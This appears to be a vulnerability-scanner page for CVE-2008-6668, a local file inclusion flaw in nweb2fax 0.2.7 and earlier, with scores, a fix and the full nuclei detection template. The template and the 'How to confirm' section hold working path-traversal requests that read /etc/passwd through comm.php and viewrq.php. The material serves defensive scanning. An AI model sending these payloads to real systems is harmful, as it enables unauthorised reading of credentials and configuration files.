nweb2fax <=0.2.7 - Local File Inclusion

mediumseverity

5CVSS score

14%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.

Fix

Upgrade to a patched version of nweb2fax or apply the necessary security patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd ; GET {{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2008-6668 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2008-6668

info:
  name: nweb2fax <=0.2.7 - Local File Inclusion
  author: geeknik
  severity: medium
  description: nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via the id parameter submitted to comm.php and the var_filename parameter submitted to viewrq.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: |
    Upgrade to a patched version of nweb2fax or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/5856
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/43173
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6668
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/43172
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2008-6668
    cwe-id: CWE-22
    epss-score: 0.14041
    epss-percentile: 0.96589
    cpe: cpe:2.3:a:dirk_bartley:nweb2fax:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dirk_bartley
    product: nweb2fax
  tags: cve,cve2008,nweb2fax,lfi,traversal,edb,dirk_bartley,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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